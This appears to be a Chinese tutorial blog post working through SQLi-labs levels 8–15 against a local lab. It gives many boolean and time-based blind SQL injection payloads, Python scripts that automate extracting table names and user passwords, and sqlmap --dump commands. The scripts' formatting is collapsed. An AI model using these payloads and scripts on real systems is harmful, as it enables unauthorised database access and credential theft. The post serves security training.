当前位置: 首页 > news >正文

SQL-LABS

 less8

and 1=1--+

 1=2

 发现存在注入点

接下来我们会接着用联合查询

 和以往的题目不一样没显错位,也就是没有报错的内容,尝试用盲注

布尔型

length()返回长度

substr()截取字符串(语法substr(str,pos,len);)

ascii()返回字符的ASCII码,也就是将字符变成数字

时间型

sleep()将程序挂起一段时间为多少

if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

?id=1' and (length(database()))=8--+      页面正常

 判断之后发现长度是等于8的

猜解数据库的长度

id=1' and (ascii(substr(database(),1,1)))=115#     返回正常,第一位是s

第一个1代表的是位置,第二个1代表的是个数,也就是说第一个的第一位。

id=1' and (ascii(substr(database(),2,1)))=101#     返回正常,第二位是e

也就是判断将截取下来的字符进行ASCII编码是否等于对应的数字

猜解表名

id=1' and(ascii(substr(select table_name from information_schema.table where table_schema=database() limit 0,1),1,1)))=101--+

limit和substr不一样,limit是从0开始的

猜字段

id=1' and(ascii(substr(select cloumn_name from information_schema.cloumns where table_name='emails' limit 0,1),1,1)))=105--+ 

返回正常,说明emails表中的列名称第一位是i,这样下去就可以了

我们也可以使用脚本

第一种

import requests
import stringurl = 'http://127.0.0.1/sql/Less-8/'def make_payload(query):return url + "?id=" + querydef make_request(payload):res = requests.get(payload)return 'You are in...........' in res.text# 猜解数据库长度
print('[+] 正在猜解数据库长度......')
db_name_len = 0
for i in range(31):payload = make_payload("1'and length(database())=%d--+" % i)if make_request(payload):db_name_len = iprint('数据库长度为:', db_name_len)break
else:print('error!')# 猜解数据库名字
print("[+] 正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):for k in string.ascii_lowercase:payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))if make_request(payload):db_name += kbreak
print("数据库为:", db_name)# 猜解表的数量
print("[+] 正在猜解表的数量......")
tab_num = 0
while True:payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)if make_request(payload):print("%s数据库共有%d张表" % (db_name, tab_num))breakelse:tab_num += 1# 猜解表名
print("[+] 开始猜解表名......")
for i in range(1, tab_num + 1):tab_len = 0while True:payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))if make_request(payload):breaktab_len += 1if tab_len == 30:print('error!')breaktab_name = ''for j in range(1, tab_len + 1):for m in string.ascii_lowercase:payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))if make_request(payload):tab_name += mbreakprint("[-] 第%d张表名为: %s" % (i, tab_name))# 猜解表下字段dump_num = 0while True:payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))if make_request(payload):print("%s表下有%d个字段" % (tab_name, dump_num))breakdump_num += 1for a in range(1, dump_num + 1):dump_len = 0while True:payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))if make_request(payload):breakdump_len += 1if dump_len == 30:print("error!!")breakdump_name = ''for i in range(1, dump_len + 1):for j in (string.ascii_lowercase + '_-'):payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))if make_request(payload):dump_name += jbreakprint(dump_name)# 猜解users表下的username
print("[+] 开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)if make_request(payload):breakusn_num += 1
for i in range(1, usn_num + 1):usn_len = 0while True:payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))if make_request(payload):breakusn_len += 1usr_name = ''for k in range(1, usn_len + 1):for m in char:payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))if make_request(payload):usr_name += mbreakprint(usr_name)# 猜解users表下的password
print("[+] 开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)if make_request(payload):breakusn_num += 1
for i in range(1, usn_num + 1):usn_len = 0while True:payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))if make_request(payload):breakusn_len += 1usr_name = ''for k in range(1, usn_len + 1):for m in char:payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))if make_request(payload):usr_name += mbreakprint(usr_name)

 

 我们是可以用脚本爆出来的,但是需要等一会

第二种

 

这个先猜出个数

这个是显示具体的库名

表名和字段也是一样的

import requestsdef get_dblength(base_url):    url = base_url+"' and (length(database())={0}) %23"    base_num = 100    for i in range(0,base_num):        url1 = url.format(i)        print(url1)        result = len(requests.get(url1).text)        if result  == base_result:            print("库名长度:",i)            break    return i
def get_dbname(base_url,db_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    dbname = ""    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"    for i in range(1,db_length+1):        for m in dict:            m_ascii = ord(m)            url2 = url.format(i,m_ascii)            result = requests.get(url2)            if len(result.text) == base_result:                dbname += m                print(dbname)                break    print("库名:",dbname)
def get_table_length():    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"    for i in range(0,20):        url1 = url.format(2,i)        result = requests.get(url1)        if base_result == len(result.text):            print("表名长度:",i)            break    return i
def get_table_name(table_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    table_name = ""    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"    for i in range(1,table_length + 1):        for m in dict:            ascii_m = ord(m)            url1 = url.format(2,i,ascii_m)            result = requests.get(url1).text            if base_result == len(result):                table_name +=m                print("表名:",table_name)                break    return table_name
if __name__ == '__main__':    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"    base_result = len(requests.get(base_url).text)    dblength = get_dblength(base_url)    get_dbname(base_url, dblength)    get_table_length()    get_table_name(7)

SQLMAP

1. 基础指令:

–dbs 获取库名
-D 指定库
–tables 表
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
-T 指定表
–columns 跑字段
–dump 获取数据(高危指令)
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump
 

 less9

同样是盲注

我们尝试一下1=1和1=2发现他们的页面都是一样的,这里要注意的是不代表这里不存在注入,上面我们提到时间盲注,这也就是和上面的区别。

布尔盲注有两种页面,但是时间没有,只有一种页面,不管对与错

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

下面是两个脚本

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):url_new = url + payloadtime_start = time.time()content = requests.get(url=url_new)time_end = time.time()if time_end - time_start >5:return 1
result  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):for c in s:payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)if check(payload):result += cbreakprint result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):url_new = url + payloadtime_start = time.time()content = requests.get(url=url_new)time_end = time.time()if time_end - time_start >5:return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):for c in s:payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)if check(payload):result += cbreakif ll==len(result):print 'table_name:  '+resultend = raw_input('-------------')ll = len(result)print result

 第十关和第九关差不多,只是把单引号换成双引号

less11和less12

可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行

11&12

less13

十三关和十二关差不多,只需要将双引号换成单引号

less14

十四关和十一关差不多,只需要将单引号换成双引号

less15

这关和前面的十一关有点像没有显示报错信息,这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考

 

现在就可以判断是单引号的闭合注入了,根据页面来看是布尔盲注

套路还是走一下

先猜解出数据库

判断数据库的长度是否是大于5的,最终发现是登录成功的

1' or length(database())>5#

 看看大于8吗? 最后发现是不大于8的

 判断大于m吗

1' or substr(database(),1,1)>'m'#

看看s

 说明第一个字母在m到s之间,试了一下是等于s的,就直接猜一下,发现是可以的

1' or substr(database(),1,8)='security'#

 后面接着看表,看看表的数量有多少,如果多的话就增加工作量,少的话就可以加快速度

1' or (select count(table_name) from information_schema.tables where table_schema=database())>5#

报错,说明表的数量是小于等于5的,还好不是很多

第一张表的长度大于5,有点多了.....  但是大于6会报错,也就是等于6

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

 通过以上方法

得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

 开始测

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'#

字符处理函数功能举例
重点 concat()没有分隔符地连接字符串select concat(c1,c2) from xxx
重点 concat_ws()指定分隔符地连接字符串select concat_ws(':',c1,c2) from xxx
重点 group_concat()以逗号分隔某列/组的数据select group_concat(c1,c2) from xxx
load_file()读取服务器文件select loadfile('/tmp/a.txt')
into outfile写入文件到服务器select 'xxxx' into outfile '/tmp/a.txt'
ascii()字符串的ASCII代码值select ascii('a')
ord()返回字符串第一个字符的ASCII值select ord('abc')
char()返回ASCII值对应的字符串select char(97)
mid()返回一个字符串的一部分select mid('abcde',1,1)
substr()返回一个字符串的一部分select substr('abcde',1,1)
length()返回字符串的长度select length('abc')
left()返回字符串最左面几个字符select left('mysql',2)
floor()返回小于或等于X的最大整数select floor(5.1)
rand()返回0-1间的一个随机数select rand()
if()三目运算select if(1>2,'A','B')
strcmp()比较字符串ASCII大小select strcmp('c','b')
ifnull()参数1为不null则返回参数1,否则参数2select ifnull(null,2)

第一张表的第一个字母是在a到m之间的,猜了是e

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#

所以这个要不断的去试,才能试出来,第四个表为users

看看字段

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

 根据结果要爆的字段数要小于5

字段长度

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

根据上面的方式,不断去猜解   知道username,下面的也是接着走

判断username第一条记录长度

1' or length((select username from users limit 0,1))>5#

 

相关文章:

SQL-LABS

less8 and 11-- 12 发现存在注入点 接下来我们会接着用联合查询 和以往的题目不一样没显错位,也就是没有报错的内容,尝试用盲注 布尔型 length()返回长度 substr()截取字符串(语法substr&a…...

【中间件篇-Redis缓存数据库07】Redis缓存使用问题及互联网运用

Redis缓存使用问题 数据一致性 只要使用到缓存,无论是本地内存做缓存还是使用 redis 做缓存,那么就会存在数据同步的问题。 我以 Tomcat 向 MySQL 中写入和删改数据为例,来给你解释一下,数据的增删改操作具体是如何进行的。 我…...

物理引擎介绍

物理引擎介绍 文章目录 物理引擎介绍Panda3D物理引擎在节点上启用物理场对节点应用物理效果例子一 重力例子二 旋转的推力力的类型线性力旋转力注意事项线性力的一个例子旋转力的一个例子Bullet 如何演示重力虽然碰撞检测解决了防止对象在大多数应用中碰撞的问题,但某些游戏和…...

Ubuntu18.04平台下Qt开发程序打包的一些问题总结

目录 前言 一、在Ubuntu18.04开发环境下打包有两种方式 1、利用linuxdeployqt软件进行打包 2、利用编写shell脚本的方式进行打包 二、详细介绍shell脚本打包的方式 1、新建一个空的文件夹 2、准备脚本copylib.sh 3、准备脚本xxxx.sh。 4、给上述两个脚本添加可执行权限…...

定时器setTimeout()、setInterval()详解

定时器是JavaScript中常用的一种功能,它可以通过代码控制在指定的时间间隔或者时间点执行特定的代码。常见的定时器有setTimeout()和setInterval()两种。 setTimeout() setTimeout()函数可以让代码在指定的时间后执行一次,其语法如下: setT…...

测试端口开通的几种方法

一、前言 在平时使用中,当测试服务器端口是否开通时,我们首先想到的是Telnet,如下: [rootk8s-master01 ~]# telnet 192.168.1.33 6443 Trying 192.168.1.33... Connected to 192.168.1.33. Escape character is ^].但是实际生产…...

Linux每日智囊

每日分享三个Linux命令,悄悄培养读者的Linux技能。 rename 作用 批量修改文件名称 rename命令能够基于正则表达式对文件名进行批量修改 语法 rename [option] expression replacement file expression:文件命中需要替换的字符串 replacement:将文件名中指定…...

Word添加附件(附件图标被挡住的问题)

本文主要是为了记录一下自己使用word添加附件的时候遇到的一个坑,就是添加了附件,附件图标没有展示的问题。 选择 插入——对象,然后点击由文件创建然后再点击浏览本地电脑中的文件,选择需要添加的文件,当然也可以选择…...

【数据结构】单链表 | 详细讲解

线性表顺序存储结构的优缺点 顺序表优点 无须为了表示中间的元素之间的逻辑关系而增加额外的存储空间;因为以数组形式存储,可以快速地存取表中任一位置的元素。 顺序表缺点 插入和删除操作需要移动大量元素,时间复杂度为O(N);…...

每日一题:编写程序,使程序分别输出两个整数的加减乘除运算结果

文章目录 每日一题一、编写程序,使程序分别输出两个整数的加减乘除运算结果以下是一个使用 Java 编写的程序,可以输出两个整数的加减乘除运算结果:以下是一个简单的 Python 程序,可以计算两个整数的加减乘除运算结果: …...

alpine linux如何指定软件包安装源

永久修改apk下载源 vi etc/apk/repositories替换成阿里源 http://mirrors.aliyun.com/alpine/v3.8/main/ http://mirrors.aliyun.com/alpine/v3.8/community/更新源 apk update临时修改下载源 直接在软件安装后面 添加源地址 apk add php5.6 --repository http://nl.alpine…...

ubuntu设置脚本开机自启动

rc-local.service flexmitd1:~$ cd /lib/systemd/system/ flexmitd1:/lib/systemd/system$ ls |grep rc-local.service rc-local.service rc-local.service.d flexmitd1:/lib/systemd/system$ pwd /lib/systemd/system flexmitd1:/lib/systemd/system$确保有rc-local.service文…...

cobol-简介

cobol学习笔记 cobol概述 COBOL是一门高级语言。我们必须了解COBOL的工作方式。计算机只能理解机器代码,0和1的二进制流。 COBOL代码必须使用编译器转换成机器代码。通过编译器运行程序源码。编译器首先检查是否有任何语法错误,然后将其转换为机器语言。…...

使用 JMeter 分布式性能测试

作为一个纯 JAVA 的GUI应用,JMeter 对于CPU和内存的消耗还是很惊人的,所以当需要模拟数以千计的并发用户时,使用单台机器模拟所有的并发用户就有些力不从心,甚至还会引起JAVA内存溢出的错误。不过,JMeter 也可以像 Loa…...

【工具流】WSL2安装

一些废话 最近看到了PKU出品的cs自学指南,想要跟着里面的自学路径学国外的优质课程,无奈大多数pre教程里面都是直接Linux环境下的操作,并且我在CSwiki看到了那个熟悉的上学期学了一点的missing-semester课。 上学期自学missing-semester的时候…...

OpenGL获取GPU信息

glGetString 获取厂家信息 const GLubyte* info glGetString(GL_VENDOR); printf("GL_VENDOR:%s\n", info);info glGetString(GL_VERSION); printf("GL_VERSION:%s\n", info);info glGetString(GL_RENDERER); printf("GL_RENDER:%s\n", inf…...

毫米波雷达模块的目标检测与跟踪

毫米波雷达技术在目标检测与跟踪方面具有独特的优势,其高精度、不受光照影响等特点使其在汽车、军事、工业等领域广泛应用。本文深入探讨毫米波雷达模块在目标检测与跟踪方面的研究现状、关键技术以及未来发展方向。 随着科技的不断进步,毫米波雷达技术在…...

Linux 下 使用 Ekho 进行TTS文本转语音

官网 http://www.eguidedog.net/cn/index.phpEkho(余音)是一个免费、开源的中文语音合成软件。支持普通话、粤语。支持Linux、Windows和Android平台。 资源:https://download.csdn.net/download/weixin_44618297/88529881 参考&#xff1a…...

WiFi protocol 详解

这里推荐两个 知乎上的 专题 讲的不错 802.11协议细读 - 知乎 Wi-Fi研习者 - 知乎...

llm模拟基本逻辑门

llm模拟基本逻辑门 全部代码代码解析全部代码 import paddle import numpy as np from tqdm import tqdmclass FeedFroward(paddle.nn.Layer):def __init__(self, hidden_dim)...

Xshell远程连接Kali(默认 | 私钥)Note版

前言:xshell远程连接,私钥连接和常规默认连接 任务一 开启ssh服务 service ssh status //查看ssh服务状态 service ssh start //开启ssh服务 update-rc.d ssh enable //开启自启动ssh服务 任务二 修改配置文件 vi /etc/ssh/ssh_config //第一…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...

三体问题详解

从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...

零基础设计模式——行为型模式 - 责任链模式

第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...

c#开发AI模型对话

AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...

代码随想录刷题day30

1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...

AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机

这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...

Rust 开发环境搭建

环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行: rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu ​ 2、Hello World fn main() { println…...